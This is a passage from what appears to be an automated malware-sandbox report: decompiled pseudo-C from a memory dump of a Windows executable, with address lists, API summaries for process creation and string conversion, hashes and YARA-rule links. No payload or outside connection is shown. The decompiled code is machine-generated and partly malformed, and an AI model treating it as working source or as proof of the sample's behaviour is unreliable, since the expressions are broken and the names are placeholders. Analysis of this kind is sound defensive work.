																								_t619 = _t455;
																								_t647 = _t455;
																								goto L148;
																							}
																						}
																						L153:
																						__eflags = _v56 - 8;
																						_t648 = _v40;
																						if(_v56 >= 8) {
																							_t595 =  *_t648;
																						}
																						_t515 =  &(_t648[4]);
																						E00088990( &_v60,  &_v92, _t546, _v44, _t546, _t595 + _t648[4] * 2);
																						_t596 = _v76;
																						__eflags = _t596;
																						if(_t596 != 0) {
																							__eflags = _t648[5] - 8;
																							_t547 = _t648;
																							if(_t648[5] >= 8) {
																								_t547 =  *_t648;
																							}
																							_t620 = _v80;
																							_t690 = _t689 - 0xc;
																							_t410 =  *_t515;
																							_t649 = _v92;
																							_t515 = _t620 + _t596;
																							_t597 = _t690;
																							_t411 = _t547 + _t410 * 2;
																							 *_t597 = 0;
																							_t597[1] = 0;
																							__eflags = _t649;
																							if(_t649 != 0) {
																								_t561 =  *_t649;
																								__eflags = _t561;
																								if(_t561 != 0) {
																									 *_t597 =  *_t561;
																								}
																							}
																							_t597[2] = _t515;
																							_t689 = _t690 - 0xc;
																							_t598 = _t689;
																							 *_t598 = 0;
																							 *(_t598 + 4) = 0;
																							__eflags = _t649;
																							if(_t649 != 0) {
																								_t559 =  *_t649;
																								__eflags = _t559;
																								if(_t559 != 0) {
																									 *_t598 =  *_t559;
																								}
																							}
																							_push(_t411);
																							 *(_t598 + 8) = _t620;
																							_push( &_v60);
																							E00088EE0(_t515, _v40, _t620, _t649);
																							goto L173;
																						} else {
																							_t550 = _t648[5];
																							_t436 = _t648;
																							__eflags = _t550 - 8;
																							if(__eflags >= 0) {
																								_t436 =  *_t648;
																							}
																							_t598 =  *_t515;
																							_v56 = _t648;
																							_t620 = _t436 + _t598 * 2;
																							if(__eflags >= 0) {
																								_v56 =  *_t648;
																							}
																							_t437 = _v60;
																							_t652 = _t437 - _v56 >> 1;
																							__eflags = _t598 - _t652;
																							if(_t598 < _t652) {
																								E0006AE60(_t550, _t620);
																								goto L188;
																							} else {
																								_t626 = _t620 - _t437 >> 1;
																								_t440 = _t598 - _t652;
																								__eflags = _t440 - _t626;
																								_t620 =  <  ? _t440 : _t626;
																								__eflags = _t550 - 8;
																								_t563 = _v40;
																								if(_t550 >= 8) {
																									_t563 =  *_t563;
																								}
																								_t600 = _t598 - _t620;
																								 *_t515 = _t600;
																								_t598 = _t600 - _t652;
																								E00104E60(_t563 + _t652 * 2, _t563 + _t652 * 2 + _t620 * 2, 2 + (_t600 - _t652) * 2);
																								_t689 = _t689 + 0xc;
																								L173:
																								_t549 = _v76;
																								__eflags = _t549;
																								if(_t549 != 0) {
																									_t435 = _v80;
																									do {
																										_t549 = _t549 - 1;
																										_t598 = 0;
																										_t435 =  ==  ? 0 : _t435;
																										__eflags = _t549;
																									} while (_t549 != 0);
																									_v80 = _t435;
																									_v76 = _t549;
																								}
																								_t650 = _v84;
																								_t550 = _v88;
																								__eflags = _t650;
																								if(_t650 != 0) {
																									do {
																										_t433 =  *(_t550 + _t650 * 4 - 4);
																										_t650 = _t650 - 1;
																										__eflags = _t433;
																										if(_t433 != 0) {
																											_push(0x10);
																											E000ED2D0(_t433);
																											_t550 = _v88;
																											_t689 = _t689 + 8;
																										}
																										__eflags = _t650;
																									} while (_t650 != 0);
																									_t650 = _v84;
																								}
																								__eflags = _t550;
																								if(_t550 == 0) {
																									L186:
																									_push(8);
																									_v84 = 0;
																									_v88 = 0;
																									_t414 = E000ED2D0(_v92);
																									 *[fs:0x0] = _v36;
																									return _t414;
																								} else {
																									_t652 = _t650 << 2;
																									_t415 = _t550;
																									__eflags = _t652 - 0x1000;
																									if(_t652 < 0x1000) {
																										L185:
																										_push(_t652);
																										E000ED2D0(_t550);
																										_t689 = _t689 + 8;
																										goto L186;
																									} else {
																										_t550 =  *(_t550 - 4);
																										_t652 = _t652 + 0x23;
																										__eflags = _t415 - _t550 + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											L188:
																											E0010F44B(_t515, _t550, _t598, _t620, __eflags);
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											_push(_t667);
																											_push(0xffffffff);
																											_push(0x130020);
																											_push( *[fs:0x0]);
																											_t693 = _t689 - 0xc;
																											_push(_t515);
																											_push(_t652);
																											_push(_t620);
																											_t421 =  *0x16f170; // 0xd529e887
																											_push(_t421 ^ _t689);
																											 *[fs:0x0] =  &_v360;
																											_v364 = _t693;
																											_t653 = _t550;
																											_v372 = _t653;
																											_v352 = 0;
																											_t424 = _v340;
																											asm("o16 nop [eax+eax]");
																											while(1) {
																												__eflags = _t424 - _v12;
																												if(_t424 == _v12) {
																													break;
																												}
																												_t425 = E00070750(_t515, _t598, _v16);
																												_t693 = _t693 + 4;
																												_t426 =  *((intOrPtr*)( *((intOrPtr*)( *_t425 + 0x28))))( *_t424 & 0x0000ffff);
																												_t557 =  *(_t653 + 0x10);
																												_t624 =  *((intOrPtr*)(_t653 + 0x14));
																												_t598 = _t426 & 0x0000ffff;
																												__eflags = _t557 - _t624;
																												if(_t557 >= _t624) {
																													_push(_t598);
																													_v48 = 0;
																													_push(_v48);
																													_push(1);
																													E0006FD60(_t515, _t653, _t624);
																													_t424 = _v20 + 2;
																													_v20 = _t424;
																												} else {
																													 *(_t653 + 0x10) = _t557 + 1;
																													_t431 = _t653;
																													__eflags = _t624 - 8;
																													if(_t624 >= 8) {
																														_t431 =  *_t653;
																													}
																													 *(_t431 + _t557 * 2) = _t598;
																													_t598 = 0;
																													 *((short*)(_t431 + 2 + _t557 * 2)) = 0;
																													_t424 = _v20 + 2;
																													_v20 = _t424;
																												}
																											}
																											 *[fs:0x0] = _v40;
																											return _t424;
																										} else {
																											goto L185;
																										}
																									}
																								}
																							}
																						}
																					} else {
																						goto L122;
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t637 = _t534;
																	goto L58;
																}
															}
														}
													}
												} else {
													L43:
													_t612[0x13] = 0x17a3a0;
													__eflags = _t612[0x12];
													if(_t612[0x12] == 0) {
														E000563C0(_v8,  &_v60);
													} else {
														_t582 =  *( *(_t612[0x1d]) + 0x34);
														 *_t582 = _t612[0x12];
														_t582[1] = _t612[0x13];
														E00056420(_v8);
													}
													E000564C0( &_v60);
													L47:
													 *[fs:0x0] = _v28;
													return _v8;
												}
											}
										}
									}
								}
							} else {
								L17:
								_t610[0x13] = 0x17a3a0;
								__eflags = _t610[0x12];
								if(_t610[0x12] == 0) {
									E000563C0( *((intOrPtr*)(_t507 + 8)),  &_v60);
								} else {
									_t586 =  *( *(_t610[0x1d]) + 0x34);
									 *_t586 = _t610[0x12];
									_t586[1] = _t610[0x13];
									E00056420( *((intOrPtr*)(_t507 + 8)));
								}
								E000564C0( &_v60);
								L21:
								 *[fs:0x0] = _v24;
								return  *((intOrPtr*)(_t507 + 8));
							}
						}
					} else {
						goto L9;
					}
				}
			}

0x0007e891
0x0007e899
0x0007e8a0
0x0007e8a4
0x0007e8a6
0x0007e8a8
0x0007e8b3
0x0007e8b4
0x0007e8b5
0x0007e8ba
0x0007e8c1
0x0007e8c5
0x0007e8cb
0x0007e8d0
0x0007e8d3
0x0007e8d7
0x0007e906
0x0007e90b
0x0007e910
0x0007e915
0x0007e91b
0x00000000
0x0007e8d9
0x0007e8dc
0x0007e8e7
0x0007e8e9
0x0007e8eb
0x0007e8eb
0x0007e8ed
0x0007e8f0
0x0007e8f0
0x0007e8f7
0x0007e8f9
0x0007e8f9
0x0007e8fb
0x0007e8ff
0x0007e904
0x0007e944
0x0007e94a
0x0007e94d
0x0007e950
0x0007e953
0x0007e957
0x0007e959
0x0007e95b
0x0007e95f
0x0007e95f
0x0007e965
0x0007e968
0x0007e96b
0x0007e971
0x0007e978
0x0007e980
0x0007e984
0x0007e986
0x0007e98a
0x0007e98f
0x0007e994
0x0007e999
0x0007e9b0
0x0007e9b5
0x0007e9b8
0x0007e9ba
0x00000000
0x0007e9bc
0x0007e9c2
0x00000000
0x0007e9c2
0x0007e99b
0x0007e99b
0x0007e9a2
0x0007e9a7
0x0007e9aa
0x0007e9ac
0x0007ea1c
0x0007ea21
0x0007ea21
0x0007ea26
0x0007ea27
0x0007ea28
0x0007ea29
0x0007ea2a
0x0007ea2b
0x0007ea2c
0x0007ea2d
0x0007ea2e
0x0007ea2f
0x0007ea30
0x0007ea31
0x0007ea33
0x0007ea35
0x0007ea40
0x0007ea41
0x0007ea44
0x0007ea45
0x0007ea46
0x0007ea4d
0x0007ea51
0x0007ea57
0x0007ea5c
0x0007ea5f
0x0007ea61
0x0007ea63
0x0007eb38
0x0007eb3d
0x0007eb42
0x0007eb47
0x0007eb4d
0x00000000
0x0007ea69
0x0007ea69
0x0007ea6c
0x0007eb15
0x0007eb15
0x0007eb19
0x0007eb1b
0x0007eb1d
0x0007eb1d
0x0007eb1f
0x0007eb22
0x0007eb25
0x0007eb29
0x0007eb2b
0x0007eb2b
0x0007eb2d
0x0007eb30
0x0007eb32
0x00000000
0x00000000
0x00000000
0x00000000
0x0007ea72
0x0007ea72
0x0007ea75
0x00000000
0x0007ea7b
0x0007ea7b
0x0007ea7f
0x0007ea81
0x0007ea81
0x0007ea83
0x0007ea86
0x0007eaa5
0x0007eaab
0x0007eaae
0x0007eab1
0x0007eab4
0x0007eab8
0x0007eaba
0x0007eabc
0x0007eac0
0x0007eac0
0x0007eac6
0x0007eac9
0x0007eacc
0x0007ead2
0x0007ead9
0x0007eae1
0x0007eae5
0x0007eae7
0x0007eaeb
0x0007eaf0
0x0007eaf5
0x0007eafa
0x0007eb54
0x0007eb59
0x0007eb5c
0x0007eb5e
0x00000000
0x0007eb60
0x0007eb66
0x00000000
0x0007eb66
0x0007eafc
0x0007eafc
0x0007eb03
0x0007eb08
0x0007eb0b
0x0007eb0d
0x0007ebbd
0x0007ebc2
0x0007ebc2
0x0007ebc7
0x0007ebc8
0x0007ebc9
0x0007ebca
0x0007ebcb
0x0007ebcc
0x0007ebcd
0x0007ebce
0x0007ebcf
0x0007ebd0
0x00080ab0
0x00080ab1
0x00080ab3
0x00080ab5
0x00080b23
0x00080b24
0x00080ab7
0x00080ab7
0x00080ab8
0x00080aba
0x00080abc
0x00080b17
0x00080b17
0x00080b1a
0x00000000
0x00080abe
0x00080abe
0x00080abf
0x00080ac2
0x00080ac4
0x00080ac6
0x00080ac6
0x00080ac9
0x00080ace
0x00080ad1
0x00080ad1
0x00080ad5
0x00080ad5
0x00080adc
0x00080adf
0x00080ae0
0x00080ae5
0x00080af9
0x00080af9
0x00080afb
0x00080b00
0x00080b06
0x00080b09
0x00080b10
0x00000000
0x00080ae7
0x00080ae7
0x00080aea
0x00080aef
0x00080af2
0x00080af5
0x00080b25
0x00080b2a
0x00080b2b
0x00080b2c
0x00080b2d
0x00080b2e
0x00080b2f
0x00080b30
0x00080b31
0x00080b33
0x00080b35
0x00080b40
0x00080b44
0x00080b45
0x00080b46
0x00080b47
0x00080b4e
0x00080b52
0x00080b58
0x00080b5e
0x00080b61
0x00080b64
0x00080b67
0x00080b69
0x00080b6c
0x00080b73
0x00080b7a
0x00080b81
0x00080b88
0x00080b8f
0x00080b94
0x00080b9a
0x00080b9d
0x00080ba3
0x00080bad
0x00080baf
0x00080bb2
0x00080bb4
0x00080bbb
0x00080bbe
0x00080bc2
0x00080bc4
0x00080bc6
0x00080bc6
0x00080bc9
0x00080bcb
0x00080bcd
0x00080bcd
0x00080bcf
0x00080bd1
0x00080bd7
0x00080bd7
0x00080be3
0x00080be8
0x00080bf1
0x00080bf4
0x00080bf5
0x00080bf8
0x00080bfb
0x00080bfd
0x00080bff
0x00080c02
0x00080c04
0x00080c07
0x00080c0d
0x00080c14
0x00080c16
0x00080c18
0x00080c1a
0x00080c1c
0x00080c20
0x00080c20
0x00080c1c
0x00080c25
0x00080c28
0x00080c2c
0x00080c31
0x00080c34
0x00080c36
0x00080c3a
0x00080c3c
0x00080c3c
0x00080c3e
0x00080c41
0x00080c43
0x00080c45
0x00000000
0x00000000
0x00080c47
0x00080c4a
0x00080c50
0x00080c50
0x00080c52
0x00000000
0x00000000
0x00080c54
0x00080c56
0x00080c58
0x00080c70
0x00080c70
0x00080c72
0x00000000
0x00080c74
0x00080c74
0x00080c77
0x00080c78
0x00080c7a
0x00000000
0x00080c7c
0x00080c7c
0x00000000
0x00080c7c
0x00080c7a
0x00080c5a
0x00080c5a
0x00080c60
0x00080c60
0x00080c62
0x00000000
0x00000000
0x00080c66
0x00080c68
0x00000000
0x00080c6a
0x00080c6a
0x00080c6b
0x00080c6c
0x00080c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00080c6e
0x00000000
0x00080c68
0x00080c9b
0x00080c9b
0x00080c83
0x00080c83
0x00080c85
0x00080c8a
0x00080c8d
0x00080c90
0x00080c93
0x00000000
0x00080c93
0x00080c85
0x00080ca3
0x00080ca3
0x00000000
0x00080ca3
0x00080ca0
0x00000000
0x00080c7f
0x00080c7f
0x00080c81
0x00000000
0x00080c81
0x00080bd7
0x00080ca6
0x00080ca6
0x00080caa
0x00080cac
0x00080cae
0x00080cae
0x00080cb0
0x00080cb3
0x00080cb3
0x00080cc6
0x00080ccb
0x00080cce
0x00080cd0
0x00080d2e
0x00080d31
0x00080d33
0x00080d37
0x00080d39
0x00080d39
0x00080d3b
0x00080d3d
0x00080d40
0x00080d43
0x00080d45
0x00080d4a
0x00080d4d
0x00080d4f
0x00080d55
0x00080d5c
0x00080d5e
0x00080d60
0x00080d62
0x00080d64
0x00080d68
0x00080d68
0x00080d64
0x00080d6d
0x00080d70
0x00080d73
0x00080d75
0x00080d7b
0x00080d82
0x00080d84
0x00080d86
0x00080d88
0x00080d8a
0x00080d8e
0x00080d8e
0x00080d8a
0x00080d90
0x00080d94
0x00080d9a
0x00000000
0x00080cd2
0x00080cd2
0x00080cd5
0x00080cd7
0x00080cd7
0x00080cda
0x00080cdd
0x00080cdf
0x00080cdf
0x00080ce1
0x00080ce3
0x00080ce6
0x00080ce9
0x00080ced
0x00080ced
0x00080cf0
0x00080cf5
0x00080cf8
0x00080cfa
0x00080e46
0x00000000
0x00080d00
0x00080d00
0x00080d04
0x00080d06
0x00080d08
0x00080d0b
0x00080d0e
0x00080d11
0x00080d13
0x00080d13
0x00080d15
0x00080d19
0x00080d1d
0x00080d24
0x00080d29
0x00080d9f
0x00080d9f
0x00080da2
0x00080da4
0x00080da6
0x00080db0
0x00080db0
0x00080db3
0x00080db8
0x00080dbb
0x00080dbb
0x00080dbf
0x00080dc2
0x00080dc2
0x00080dc5
0x00080dc8
0x00080dcb
0x00080dcd
0x00080dd0
0x00080dd0
0x00080dd4
0x00080dd5
0x00080dd7
0x00080dd9
0x00080ddc
0x00080de1
0x00080de4
0x00080de4
0x00080de7
0x00080de7
0x00080deb
0x00080deb
0x00080dee
0x00080df0
0x00080e19
0x00080e19
0x00080e1e
0x00080e25
0x00080e2c
0x00080e37
0x00080e45
0x00080df2
0x00080df2
0x00080df5
0x00080df7
0x00080dfd
0x00080e0f
0x00080e0f
0x00080e11
0x00080e16
0x00000000
0x00080dff
0x00080dff
0x00080e02
0x00080e0a
0x00080e0d
0x00080e4b
0x00080e4b
0x00080e50
0x00080e51
0x00080e52
0x00080e53
0x00080e54
0x00080e55
0x00080e56
0x00080e57
0x00080e58
0x00080e59
0x00080e5a
0x00080e5b
0x00080e5c
0x00080e5d
0x00080e5e
0x00080e5f
0x00080e60
0x00080e61
0x00080e63
0x00080e65
0x00080e70
0x00080e74
0x00080e75
0x00080e76
0x00080e77
0x00080e7e
0x00080e82
0x00080e88
0x00080e8e
0x00080e91
0x00080e94
0x00080e97
0x00080e99
0x00080e9c
0x00080ea3
0x00080eaa
0x00080eb1
0x00080eb8
0x00080ebf
0x00080ec4
0x00080eca
0x00080ecd
0x00080ed3
0x00080edd
0x00080edf
0x00080ee2
0x00080ee4
0x00080eeb
0x00080eee
0x00080ef1
0x00080ef4
0x00080ef7
0x00080ef9
0x00080efb
0x00080efb
0x00080efe
0x00080f02
0x00080f04
0x00080f06
0x00080f06
0x00080f08
0x00080f0a
0x00080f10
0x00080f10
0x00080f1c
0x00080f21
0x00080f2a
0x00080f2d
0x00080f2e
0x00080f31
0x00080f34
0x00080f36
0x00080f38
0x00080f3b
0x00080f3d
0x00080f40
0x00080f46
0x00080f4d
0x00080f4f
0x00080f51
0x00080f53
0x00080f55
0x00080f59
0x00080f59
0x00080f55
0x00080f5e
0x00080f61
0x00080f65
0x00080f6a
0x00080f6d
0x00080f6f
0x00080f72
0x00080f75
0x00080f78
0x00080f7a
0x00080f7a
0x00080f7f
0x00080f82
0x00080f84
0x00000000
0x00000000
0x00080f86
0x00080f89
0x00080f90
0x00080f90
0x00080f92
0x00000000
0x00000000
0x00080f94
0x00080f96
0x00080f98
0x00080fb6
0x00080fb6
0x00080fb8
0x00000000
0x00080fba
0x00080fba
0x00080fbd
0x00080fc0
0x00080fc2
0x00000000
0x00080fc4
0x00080fc4
0x00000000
0x00080fc4
0x00080fc2
0x00080f9a
0x00080f9a
0x00080fa0
0x00080fa0
0x00080fa2
0x00000000
0x00000000
0x00080fa7
0x00080faa
0x00000000
0x00080fac
0x00080fac
0x00080faf
0x00080fb2
0x00080fb4
0x00000000
0x00000000
0x00000000
0x00000000
0x00080fb4
0x00000000
0x00080faa
0x00080fe3
0x00080fe3
0x00080fcb
0x00080fcb
0x00080fcd
0x00080fd2
0x00080fd5
0x00080fd8
0x00080fdb
0x00000000
0x00080fdb
0x00080fcd
0x00080feb
0x00080feb
0x00000000
0x00080feb
0x00080fe8
0x00000000
0x00080fc7
0x00080fc7
0x00080fc9
0x00000000
0x00080fc9
0x00080f10
0x00080fee
0x00080fee
0x00080ff2
0x00080ff5
0x00080ff7
0x00080ff7
0x00080ffc
0x00081010
0x00081015
0x00081018
0x0008101a
0x00081080
0x00081084
0x00081086
0x00081088
0x00081088
0x0008108a
0x0008108d
0x00081090
0x00081092
0x00081095
0x00081098
0x0008109a
0x0008109d
0x000810a3
0x000810aa
0x000810ac
0x000810ae
0x000810b0
0x000810b2
0x000810b6
0x000810b6
0x000810b2
0x000810b8
0x000810bb
0x000810be
0x000810c0
0x000810c6
0x000810cd
0x000810cf
0x000810d1
0x000810d3
0x000810d5
0x000810d9
0x000810d9
0x000810d5
0x000810de
0x000810e2
0x000810e5
0x000810e6
0x00000000
0x0008101c
0x0008101c
0x0008101f
0x00081021
0x00081024
0x00081026
0x00081026
0x00081028
0x0008102a
0x0008102d
0x00081030
0x00081034
0x00081034
0x00081037
0x0008103f
0x00081041
0x00081043
0x0008118a
0x00000000
0x00081049
0x0008104d
0x0008104f
0x00081051
0x00081053
0x00081056
0x00081059
0x0008105c
0x0008105e
0x0008105e
0x00081060
0x00081065
0x00081067
0x00081076
0x0008107b
0x000810eb
0x000810eb
0x000810ee
0x000810f0
0x000810f2
0x000810f5
0x000810f5
0x000810f8
0x000810fd
0x00081100
0x00081100
0x00081104
0x00081107
0x00081107
0x0008110a
0x0008110d
0x00081110
0x00081112
0x00081114
0x00081114
0x00081118
0x00081119
0x0008111b
0x0008111d
0x00081120
0x00081125
0x00081128
0x00081128
0x0008112b
0x0008112b
0x0008112f
0x0008112f
0x00081132
0x00081134
0x0008115d
0x0008115d
0x00081162
0x00081169
0x00081170
0x0008117b
0x00081189
0x00081136
0x00081136
0x00081139
0x0008113b
0x00081141
0x00081153
0x00081153
0x00081155
0x0008115a
0x00000000
0x00081143
0x00081143
0x00081146
0x0008114e
0x00081151
0x0008118f
0x0008118f
0x00081194
0x00081195
0x00081196
0x00081197
0x00081198
0x00081199
0x0008119a
0x0008119b
0x0008119c
0x0008119d
0x0008119e
0x0008119f
0x000811a0
0x000811a3
0x000811a5
0x000811b0
0x000811b1
0x000811b4
0x000811b5
0x000811b6
0x000811b7
0x000811be
0x000811c2
0x000811c8
0x000811cb
0x000811cd
0x000811d0
0x000811d7
0x000811da
0x000811e0
0x000811e0
0x000811e3
0x00000000
0x00000000
0x000811eb
0x000811f0
0x000811fb
0x000811fd
0x00081200
0x00081206
0x00081208
0x0008120a
0x00081231
0x00081232
0x00081238
0x0008123b
0x0008123d
0x00081245
0x00081248
0x0008120c
0x0008120f
0x00081212
0x00081214
0x00081217
0x00081219
0x00081219
0x0008121b
0x0008121f
0x00081221
0x00081229
0x0008122c
0x0008122c
0x0008120a
0x00081250
0x0008125e
0x00000000
0x00000000
0x00000000
0x00081151
0x00081141
0x00081134
0x00081043
0x00000000
0x00000000
0x00000000
0x00080e0d
0x00080dfd
0x00080df0
0x00080cfa
0x00080af7
0x00080af7
0x00000000
0x00080af7
0x00080af5
0x00080ae5
0x00080abc
0x0007eb13
0x0007eb69
0x0007eb69
0x0007eb70
0x0007eb74
0x0007eb9a
0x0007eb76
0x0007eb7b
0x0007eb81
0x0007eb86
0x0007eb8c
0x0007eb8c
0x0007eba2
0x0007eba7
0x0007ebad
0x0007ebba
0x0007ebba
0x0007eb0d
0x0007eafa
0x0007ea75
0x0007ea6c
0x0007e9ae
0x0007e9c5
0x0007e9c5
0x0007e9cc
0x0007e9d0
0x0007e9f6
0x0007e9d2
0x0007e9d7
0x0007e9dd
0x0007e9e2
0x0007e9e8
0x0007e9e8
0x0007e9fe
0x0007ea03
0x0007ea09
0x0007ea19
0x0007ea19
0x0007e9ac
0x00000000
0x00000000
0x00000000
0x0007e904

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0007E944
CloseHandle.KERNEL32(000000FF), ref: 0007E980
CloseHandle.KERNEL32(000000FF), ref: 0007E984
GetLastError.KERNEL32(?,?,?), ref: 0007E9BC

Part of subcall function 000564C0: TerminateProcess.KERNEL32(00000040,00000001,?,?,?,00000000,00000000,?,?,00062995), ref: 00056533
Part of subcall function 000564C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00062995), ref: 0005655A
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 00056568
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 000565B7
Part of subcall function 000564C0: CloseHandle.KERNEL32(?), ref: 000565BC

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$ErrorLastProcess_free$CreateTerminate_abort
String ID:
API String ID: 2899271928-0
Opcode ID: 61a090ccc10ea35ffb2d74f94140024a03ba5589c5445d8989d7736c7ee2c65d
Instruction ID: 4e512f156b1a7e08c7df545907d7d9d70e360987a1b146d8aeb6240b6a30086a
Opcode Fuzzy Hash: 61a090ccc10ea35ffb2d74f94140024a03ba5589c5445d8989d7736c7ee2c65d
Instruction Fuzzy Hash: 8651C171A01606EFCB54CF69C980A59BBF0FF08304F14816AE909877A1DB36F864CF92

Uniqueness

Uniqueness Score: 16.53%

Function 00056700, Relevance: 6.1, APIs: 4, Instructions: 122
UNIQUE

Download Yara Rule

C-Code - Quality: 78%

			E00056700(void* __ebx, void** __ecx, short* _a4, intOrPtr _a8, intOrPtr* _a12, short** _a24) {
				intOrPtr _v4;
				long _v8;
				void* __edi;
				void* __ebp;
				void* _t23;
				long _t44;
				void* _t45;
				signed int _t55;
				short* _t56;
				short* _t59;
				void* _t60;
				intOrPtr* _t64;
				intOrPtr _t65;
				void** _t70;
				short* _t72;

				_t50 = __ecx;
				_t45 = __ebx;
				_push(__ecx);
				_t70 = __ecx;
				_t23 =  *__ecx;
				if(_t23 == 0 || _t23 == 0xffffffff || __ecx[6] != 0 ||  *(__ecx[4]) != 0x103) {
					return 0;
				} else {
					if(GetExitCodeProcess( *__ecx,  &_v8) != 0) {
						_push(_t64);
						_t64 = _a4;
						 *_t64 = 0;
						if(E000D7269(0x17a40c, E000735B0, 0x17a3a0) == 0) {
							goto L16;
						} else {
							 *(_t64 + 4) = 0x17a3a0;
							goto L9;
						}
					} else {
						if(E000D7269(0x17a40c, E000735B0, 0x17a3a0) == 0) {
							L16:
							E0010F5C4(_t45, _t50, _t60, _t64);
							asm("int3");
							asm("int3");
							_push(_t70);
							_push(_t64);
							AreFileApisANSI();
							_t72 = _a4;
							_t65 = _v4;
							asm("sbb edx, edx");
							_t55 = MultiByteToWideChar(_t60 + 1, 1, _v8, _t65 - _v8, _t72, _a8 - _t72 >> 1);
							if(_t55 != 0) {
								_t56 =  &(_t72[_t55]);
								 *_a12 = _t65;
								 *_a24 = _t56;
								 *_t56 = 0;
								return 0;
							} else {
								_t18 = _t55 + 2; // 0x2
								return _t18;
							}
						} else {
							_t44 = GetLastError();
							_t59 = _a4;
							 *_t59 = _t44;
							_t59[2] = 0x17a3a0;
							L9:
							_push(_t45);
							if(_v8 != 0x103) {
								if( *((intOrPtr*)(_t70 + 0x19)) == 0 &&  *( *(_t70 + 0x10)) == 0x103) {
									 *( *(_t70 + 0x10)) = _v8;
								}
								return 0;
							} else {
								return 1;
							}
						}
					}
				}
			}

0x00056700
0x00056700
0x00056703
0x00056705
0x00056707
0x0005670b
0x000567e6
0x00056734
0x00056742
0x00056777
0x00056778
0x0005678a
0x0005679a
0x00000000
0x0005679c
0x0005679c
0x00000000
0x000567a3
0x00056744
0x0005675d
0x000567e9
0x000567e9
0x000567ee
0x000567ef
0x000567f3
0x000567f4
0x000567f5
0x00056800
0x00056803
0x00056806
0x00056821
0x00056825
0x00056833
0x00056836
0x0005683d
0x00056841
0x00056845
0x00056827
0x00056828
0x0005682d
0x0005682d
0x00056763
0x00056763
0x00056769
0x0005676c
0x0005676e
0x000567a4
0x000567ab
0x000567ac
0x000567bf
0x000567d4
0x000567d4
0x000567dd
0x000567ae
0x000567b7
0x000567b7
0x000567ac
0x0005675d
0x00056742

APIs

GetExitCodeProcess.KERNEL32(00000040,?), ref: 0005673A
GetLastError.KERNEL32(?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 00056763

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

AreFileApisANSI.KERNEL32(00056511,00000040,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 000567F5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 0005681B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ApisByteCharCodeErrorExitFileLastMultiProcessWide_abort
String ID:
API String ID: 1451575539-0
Opcode ID: 6d60ed56a70929a8b78b42fcd73804c67cd1e5d87f23e2851062d91ba8f267eb
Instruction ID: f66316ca67c4d4210887fe242a3e0e0a38ad9fd08988315abd064b0b3268d196
Opcode Fuzzy Hash: 6d60ed56a70929a8b78b42fcd73804c67cd1e5d87f23e2851062d91ba8f267eb
Instruction Fuzzy Hash: 7F3113752042089FCB24CF28D851AAB77E8EF99318B80415EFC49C7240EBB2ED58D7A1

Uniqueness

Uniqueness Score: 100.00%

Function 0012265C, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0012265C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x16f170; // 0xd529e887
				_v8 = _t34 ^ _t70;
				E0010E0A3(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0xc0b0a09
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E000ECED8(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0x1522a8
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E001053E0(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
